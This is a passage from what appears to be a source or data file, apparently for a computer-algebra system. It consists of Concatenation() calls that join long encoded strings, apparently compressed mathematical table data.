"%%%%%%%%(G95K:e1%8-,8%%2D/2%%% }w)4WG&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u)%I\ 6Y.QAd*M:^2UEh0SCfWGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x)%I6Y.QAd*M:^2UEh0SC\ f4Gj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tG%I6Y.QAd*M:^2UEh(K8[,Ob&J7Z/RBe+N<a3\ VFi)L9]1TDg-P>c5XHk }wG%I6Y.QAd*M:^2UEh(K8[,O=&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5X\ Hk }uG%I6Y.QAd*M:^2UEh(K8[O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xG%I6Y.QAd*M:\ ^2UEh(K8[,=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2%I6Y.QAd*M:^2UEh0Sf4WGj&J7Z/\ RBe+N<a3VFi)L9]1TDg-P>c5XHk }w2%I6Y.QAd*M:^2UEh0SC4WGj&J7Z/RBe+N<a3VFi)L9]1T\ Dg-P>c5XHk }u2%I6Y.QAd*M:^2UEhSCf4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2%I6\ Y.QAd*M:^2UEh0Cf4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tP%I6Y.QAd*M:^2UEh(K[,\ O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wP%I6Y.QAd*M:^2UEh(K8,O=b&J7Z/RBe+N<a3V\ Fi)L9]1TDg-P>c5XHk }uP%I6Y.QAd*M:^2UEhK8[,O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XH\ k }xP%I6Y.QAd*M:^2UEh(8[,O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t&%I6Y.QAd*M:^\ 2UEh(K8[0SCf,O=b4WGj/RBe3Vi)L9]1TDg-P>c5XHk }w&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b", "4WGj/RBe3VF)L9]1TDg-P>c5XHk }u&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBeVFi)L9]1\ TDg-P>c5XHk!}f&/c" ), Concatenation( "%%%%%%%%(G95K:e1%8-,/%%2D/2%%% }x%Gj/RBe3Fi)L9]1TDg-P>c5XHk }tD%I6Y.QAd*M:^\ 2UEh(K8[0SCf,O=b4WGj&J7Z+Na)L9]1TDg-P>c5XHk }wD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4\ WGj&J7Z+N<)L9]1TDg-P>c5XHk }uD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7ZN<a)L9]1TD\ g-P>c5XHk }xD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+<a)L9]1TDg-P>c5XHk }t/%I6Y\ .QAd*M:^2UEh(K8[0SCf,O=b4WGj/Re3VFi)L9]1TDg-P>c5XHk }w/%I6Y.QAd*M:^2UEh(K8[0\ SCf,O=b4WGj/RB3VFi)L9]1TDg-P>c5XHk }u/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjRBe3VF\ i)L9]1TDg-P>c5XHk }x/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/Be3VFi)L9]1TDg-P>c5XHk\ }tM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&JZ+N<a)L9]1TDg-P>c5XHk }wM%I6Y.QAd*M:^2\ UEh(K8[0SCf,O=b4WGj&J7+N<a)L9]1TDg-P>c5XHk }uM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4W\ GjJ7Z+N<a)L9]1TDg-P>c5XHk }xM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7Z+N<a)L9]1TDg\ -P>c5XHk }t)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TDg5Xk }w)%I6Y.\ QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TDg5XH }u)%I6Y.QAd*M:^2UEh(K8[0S\ Cf,O=b4WGj&J7Z/RBe+N<a3VFi1TDgXHk }x)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/R", "Be+N<a3VFi1TDg5Hk }tG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]-P\ c!}wG09" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8b%2D/2%%% }nH%*M:^2UEh(K8[,O= }uH%%I6Y.QAd*M:^2UEh(K8[\ 0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]P>c }xH%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z\ /RBe+N<a3VFi)L9]->c }t3%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1Tg5\ XHk }w3%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TD5XHk }u3%%I6Y.QAd\ *M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiTDg5XHk }x3%%I6Y.QAd*M:^2UEh(K8[0SCf\ ,O=b4WGj&J7Z/RBe+N<a3VFi1Dg5XHk }tQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe\ +N<a3VFi)L]-P>c }wQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9-P>c \ }uQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiL9]-P>c }xQ%%I6Y.QAd*M:^\ 2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)9]-P>c }tDD%I6Y*M^(K8[0SCf,O=b4WGj&J7Z/\ RBe+N<a3VFi)L9]1TDg-P>c5XHk }uDD%I6YM:(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1T\ Dg-P>c5XHk }xDD%I6Y*:(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}t/D=:\ }w/D.A2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}u/D=: }x/D.A2UE\ h(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t)D%I6Y.QAd*M:^2UEh0SCfW", "j&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk b))D%I" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8D%2D/2%%% }w)6Y.QAd*M:^2UEh0SCf4G&J7Z/RBe+N<a3VFi)L9]1\ TDg-P>c5XHk }u)%I6Y.QAd*M:^2UEh0SCfWj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x)%I6\ Y.QAd*M:^2UEh0SCf4G&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tG%I6Y.QAd*M:^2UEh(K8[O\ b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wG%I6Y.QAd*M:^2UEh(K8[,=&J7Z/RBe+N<a3VFi)\ L9]1TDg-P>c5XHk }uG%I6Y.QAd*M:^2UEh(K8[Ob&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x\ G%I6Y.QAd*M:^2UEh(K8[,=&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2%I6Y.QAd*M:^2UEhS\ f4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }w2%I6Y.QAd*M:^2UEh0C4WGj&J7Z/RBe+N<a3\ VFi)L9]1TDg-P>c5XHk }u2%I6Y.QAd*M:^2UEhSf4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XH\ k }x2%I6Y.QAd*M:^2UEh0C4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tP%I6Y.QAd*M:^2\ UEhK[,O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wP%I6Y.QAd*M:^2UEh(8,O=b&J7Z/RBe+\ N<a3VFi)L9]1TDg-P>c5XHk }uP%I6Y.QAd*M:^2UEhK[,O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>\ c5XHk }xP%I6Y.QAd*M:^2UEh(8,O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t&%I6Y.QAd*\ M:^2UEh(K8[0SCf,O=b4WGj/RBeVi)L9]1TDg-P>c5XHk }w&%I6Y.QAd*M:^2UEh(K8[0SCf,O", "=b4WGj/RBe3F)L9]1TDg-P>c5XHk }u&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBeVi)L9]1\ TDg-P>c5XHk!}f&/c" ), Concatenation( "%%%%%%%%(G95K:e1%8-,/D%2D/2%%% }x%Gj/RBe3F)L9]1TDg-P>c5XHk }tD%I6Y.QAd*M:^2\ UEh(K8[0SCf,O=b4WGj&J7ZNa)L9]1TDg-P>c5XHk }wD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG\ j&J7Z+<)L9]1TDg-P>c5XHk }uD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7ZNa)L9]1TDg-P>\ c5XHk }xD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+<)L9]1TDg-P>c5XHk }t/%I6Y.QAd*\ M:^2UEh(K8[0SCf,O=b4WGjRe3VFi)L9]1TDg-P>c5XHk }w/%I6Y.QAd*M:^2UEh(K8[0SCf,O=\ b4WGj/B3VFi)L9]1TDg-P>c5XHk }u/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjRe3VFi)L9]1TD\ g-P>c5XHk }x/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/B3VFi)L9]1TDg-P>c5XHk }tM%I6Y.\ QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ+N<a)L9]1TDg-P>c5XHk }wM%I6Y.QAd*M:^2UEh(K8[0SC\ f,O=b4WGj&7+N<a)L9]1TDg-P>c5XHk }uM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ+N<a)L9\ ]1TDg-P>c5XHk }xM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7+N<a)L9]1TDg-P>c5XHk }t)%\ I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TDgXk }w)%I6Y.QAd*M:^2UEh(K8\ [0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TDg5H }u)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/\ RBe+N<a3VFi1TDgXk }x)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TDg5H", " }tG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]Pc }wG%I6Y.QAd*M:^2\ UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]->!t&G+j" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8b%nD/2%%% }uHD.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a\ 3VFi)L9]Pc }xHD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]-> }t3D%I\ 6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiTg5XHk }w3D%I6Y.QAd*M:^2UEh(K8\ [0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1D5XHk }u3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z\ /RBe+N<a3VFiTg5XHk }x3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1D5XH\ k }tQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiL]-P>c }wQD%I6Y.QAd*M:\ ^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)9-P>c }uQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b\ 4WGj&J7Z/RBe+N<a3VFiL]-P>c }xQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3\ VFi)9-P>c }tD/%I6YM^(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xD/%I6\ Y*(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t//d2UEh(K8[0SCf,O=b4WGj\ &J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }w//A2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L\ 9]1TDg-P>c5XHk!}u//<{ }x//.2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5\ XHk }t)/%I6Y.QAd*M:^2UEh0SCfj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }w)/%I6Y.QAd*", "M:^2UEh0SCfG&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u)/%I6Y.QAd*M:^2UEh0SCfW&J7Z/\ RBe+N<a3VFi)L" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8%%PD/2%%%!}N)9N }x)%I6Y.QAd*M:^2UEh0SCf4&J7Z/RBe+N<a3V\ Fi)L9]1TDg-P>c5XHk }tG%I6Y.QAd*M:^2UEh(K8[b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk \ }wG%I6Y.QAd*M:^2UEh(K8[=&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uG%I6Y.QAd*M:^2UEh\ (K8[O&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xG%I6Y.QAd*M:^2UEh(K8[,&J7Z/RBe+N<a3V\ Fi)L9]1TDg-P>c5XHk }t2%I6Y.QAd*M:^2UEhf4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk \ }w2%I6Y.QAd*M:^2UEhC4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u2%I6Y.QAd*M:^2UEh\ S4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2%I6Y.QAd*M:^2UEh04WGj&J7Z/RBe+N<a3V\ Fi)L9]1TDg-P>c5XHk }tP%I6Y.QAd*M:^2UEh[,O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk \ }wP%I6Y.QAd*M:^2UEh8,O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uP%I6Y.QAd*M:^2UEh\ K,O=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xP%I6Y.QAd*M:^2UEh(,O=b&J7Z/RBe+N<a3V\ Fi)L9]1TDg-P>c5XHk }t&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBei)L9]1TDg-P>c5XHk \ }w&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBeF)L9]1TDg-P>c5XHk }u&%I6Y.QAd*M:^2UEh\ (K8[0SCf,O=b4WGj/RBeV)L9]1TDg-P>c5XHk }x&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/R", "Be3)L9]1TDg-P>c5XHk }tE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Za)L9]1TDg-P>c5XH\ k!}eE/g" ), Concatenation( "%%%%%%%%(G95K:e1%8-,/%%PD/2%%% }nD%I6Y:(K8[0SCf,O=b4WGj }uD%I6Y.QAd*M:^2UEh\ (K8[0SCf,O=b4WGj&J7ZN)L9]1TDg-P>c5XHk }xD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7\ Z+)L9]1TDg-P>c5XHk }t/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGje3VFi)L9]1TDg-P>c5XHk \ }w/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjB3VFi)L9]1TDg-P>c5XHk }u/%I6Y.QAd*M:^2UEh\ (K8[0SCf,O=b4WGjR3VFi)L9]1TDg-P>c5XHk }x/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/3V\ Fi)L9]1TDg-P>c5XHk }tM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjZ+N<a)L9]1TDg-P>c5XHk \ }wM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj7+N<a)L9]1TDg-P>c5XHk }uM%I6Y.QAd*M:^2UEh\ (K8[0SCf,O=b4WGjJ+N<a)L9]1TDg-P>c5XHk }xM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&+N\ <a)L9]1TDg-P>c5XHk }t)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TDgk \ }w)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TDgH }u)%I6Y.QAd*M:^2UEh\ (K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TDgX }x)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7\ Z/RBe+N<a3VFi1TDg5 }tG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]c \ }wG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]> }uG%I6Y.QAd*M:^2UE", "h(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]P }xG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&\ J7Z/RBe+N<a3VFi)L9]-!}b2/N" ), "%%%%%%%%(G95K:e1%8-,8b%PD/2%%% }t3%O=b4WGj&J7Z/RBe+N<a3VFig5XHk }w3%%I6Y.QA\ d*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiD5XHk }u3%%I6Y.QAd*M:^2UEh(K8[0SCf,\ O=b4WGj&J7Z/RBe+N<a3VFiT5XHk }x3%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<\ a3VFi15XHk }tQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi]-P>c }wQ%%I6\ Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi9-P>c }uQ%%I6Y.QAd*M:^2UEh(K8[0\ SCf,O=b4WGj&J7Z/RBe+N<a3VFiL-P>c }xQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RB\ e+N<a3VFi)-P>c }xDD%I6Y*(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}t/\ D8X!}w/D8X!}u/D8X!}x/D8X!}t)D2F!}w)D2F!}u)D2F!}x)D2F!}tGD/1!}wGD/1 }uGD%I6Y.\ QAd*M:^2UEh(K8[&J7Z/RBe", "%%%%%%%%(G95K:e1%8-,8D%PD/2%%%!}lG6,!}xG/1 }t2%I6Y.QAd*M:^2UEh4WGj&J7Z/RBe+\ N<a3VFi)L9]1TDg-P>c5XHk }w2%I6Y.QAd*M:^2UEh4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5\ XHk }u2%I6Y.QAd*M:^2UEh4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2%I6Y.QAd*M:^2\ UEh4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}tP25!}wP25!}uP25!}xP25!}t&1E!}w&1E!\ }u&1E!}x&1E!}tE/v!}wE/v!}uE/v!}xE/v!}t01Q }w0%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG\ j3VFi)L9]", "%%%%%%%%(G95K:e1%8-,/D%PD/2%%%!}P/7,!}u/1Q!}x/1Q!}tM1=!}wM1=!}uM1=!}xM1=!}t\ )0x!}w)0x!}u)0x!}x)0x!}tG0T!}wG0T!}uG0T!}xG0T!}t20{!}w20{!}u20{!}x20{!}tP0v", "%%%%%%%%(G95K:e1%8-,8b%nF/2%%%!}wQM0v!}uQM0v!}xQM0v!}t/)8X!}w/)=M!}u/)=M!}x\ /)8L }t))%I6Y.QAd*M:^2UEh0Sf&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }w))%I6Y.QAd*M:\ ^2UEh0SC&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u))%I6Y.QAd*M:^2UEhSCf&J7Z/RBe+N<a\ 3VFi)L9]1TDg-P>c5XHk }x))%I6Y.QAd*M:^2UEh0Cf&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk\ }tG)%I6Y.QAd*M:^2UEh(K[&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wG)%I6Y.QAd*M:^2UE\ h(K8&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uG)%I6Y.QAd*M:^2UEhK8[&J7Z/RBe+N<a3VFi\ )L9]1TDg-P>c5XHk }xG)%I6Y.QAd*M:^2UEh(8[&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2\ )%I6Y.QAd*M:^2UEh4Wj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }w2)%I6Y.QAd*M:^2UEh4WG\ &J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u2)%I6Y.QAd*M:^2UEhWGj&J7Z/RBe+N<a3VFi)L9]\ 1TDg-P>c5XHk }x2)%I6Y.QAd*M:^2UEh4Gj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tP)%I6\ Y.QAd*M:^2UEh,Ob&J7Z/RBe", Concatenation( "%%%%%%%%(G95K:e1%8-,8%%2E/2%%%!}kP6, }wP%I6Y.QAd*M:^2UEh,O=&J7Z/RBe+N<a3VFi\ )L9]1TDg-P>c5XHk }uP%I6Y.QAd*M:^2UEhO=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xP%\ I6Y.QAd*M:^2UEh,=b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t&%I6Y.QAd*M:^2UEh(K8[0S\ Cf,O=b4WGj/Re)L9]1TDg-P>c5XHk }w&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RB)L9]1TDg\ -P>c5XHk }u&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjRBe)L9]1TDg-P>c5XHk }x&%I6Y.QAd*\ M:^2UEh(K8[0SCf,O=b4WGj/Be)L9]1TDg-P>c5XHk }tE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4W\ Gj&JZ)L9]1TDg-P>c5XHk }wE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7)L9]1TDg-P>c5XHk\ }uE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJ7Z)L9]1TDg-P>c5XHk }xE%I6Y.QAd*M:^2UEh(\ K8[0SCf,O=b4WGj&7Z)L9]1TDg-P>c5XHk }t0%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj3Vi)L9\ ]1TDg-P>c5XHk }w0%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj3VF)L9]1TDg-P>c5XHk }u0%I6Y\ .QAd*M:^2UEh(K8[0SCf,O=b4WGjVFi)L9]1TDg-P>c5XHk }x0%I6Y.QAd*M:^2UEh(K8[0SCf,\ O=b4WGj3Fi)L9]1TDg-P>c5XHk }tN%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj+Na)L9]1TDg-P>\ c5XHk }wN%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj+N<)L9]1TDg-P>c5XHk }uN%I6Y.QAd*M:", "^2UEh(K8[0SCf,O=b4WGjN<a)L9]1TDg-P>c5XHk }xN%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG\ j+<a)L9]1TDg-P>c5XHk!z%*-X" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8b%2E/2%%% }t*%d*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VF\ i1Tg }w*%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi1TD }u*%%I6Y.QAd*M:\ ^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiTDg }x*%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG\ j&J7Z/RBe+N<a3VFi1Dg }tH%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L]\ !}wH%0R }uH%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiL9] }xH%%I6Y.QAd\ *M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)9] }t3%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b\ 4WGj&J7Z/RBe+N<a3VFi5Xk }w3%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi\ 5XH }u3%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiXHk }x3%%I6Y.QAd*M:^\ 2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi5Hk }tQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj\ &J7Z/RBe+N<a3VFi-Pc }wQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi-P> \ }uQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFiP>c }xQ%%I6Y.QAd*M:^2UEh\ (K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi->c }t/D2Uh(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)\ L9]1TDg-P>c5XHk }u/DUE(K8[0SCf,O=b4WGj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk!}x/D", "8J }t)D%I6Y.QAd*M:^2UEhSf&J7Z/RBe+N<a3VFi)L9]1T" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8D%2E/2%%%!}M):L }w)%I6Y.QAd*M:^2UEh0C&J7Z/RBe+N<a3VFi)\ L9]1TDg-P>c5XHk }u)%I6Y.QAd*M:^2UEhSf&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x)%I6\ Y.QAd*M:^2UEh0C&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }tG%I6Y.QAd*M:^2UEhK[&J7Z/RB\ e+N<a3VFi)L9]1TDg-P>c5XHk }wG%I6Y.QAd*M:^2UEh(8&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5\ XHk }uG%I6Y.QAd*M:^2UEhK[&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xG%I6Y.QAd*M:^2UE\ h(8&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2%I6Y.QAd*M:^2UEhWj&J7Z/RBe+N<a3VFi)L9\ ]1TDg-P>c5XHk }w2%I6Y.QAd*M:^2UEh4G&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u2%I6Y.\ QAd*M:^2UEhWj&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2%I6Y.QAd*M:^2UEh4G&J7Z/RBe+\ N<a3VFi)L9]1TDg-P>c5XHk }tP%I6Y.QAd*M:^2UEhOb&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XH\ k }wP%I6Y.QAd*M:^2UEh,=&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uP%I6Y.QAd*M:^2UEhO\ b&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xP%I6Y.QAd*M:^2UEh,=&J7Z/RBe+N<a3VFi)L9]1\ TDg-P>c5XHk }t&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjRe)L9]1TDg-P>c5XHk }w&%I6Y.QA\ d*M:^2UEh(K8[0SCf,O=b4WGj/B)L9]1TDg-P>c5XHk }u&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b", "4WGjRe)L9]1TDg-P>c5XHk }x&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/B)L9]1TDg-P>c5XH\ k }tE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ)L9]1T" ), Concatenation( "%%%%%%%%(G95K:e1%8-,/D%2E/2%%%!}MD:L }wD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7)\ L9]1TDg-P>c5XHk }uD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ)L9]1TDg-P>c5XHk }xD%I6\ Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7)L9]1TDg-P>c5XHk }t/%I6Y.QAd*M:^2UEh(K8[0SCf,\ O=b4WGjVi)L9]1TDg-P>c5XHk }w/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj3F)L9]1TDg-P>c5\ XHk }u/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjVi)L9]1TDg-P>c5XHk }x/%I6Y.QAd*M:^2UE\ h(K8[0SCf,O=b4WGj3F)L9]1TDg-P>c5XHk }tM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjNa)L9\ ]1TDg-P>c5XHk }wM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj+<)L9]1TDg-P>c5XHk }uM%I6Y.\ 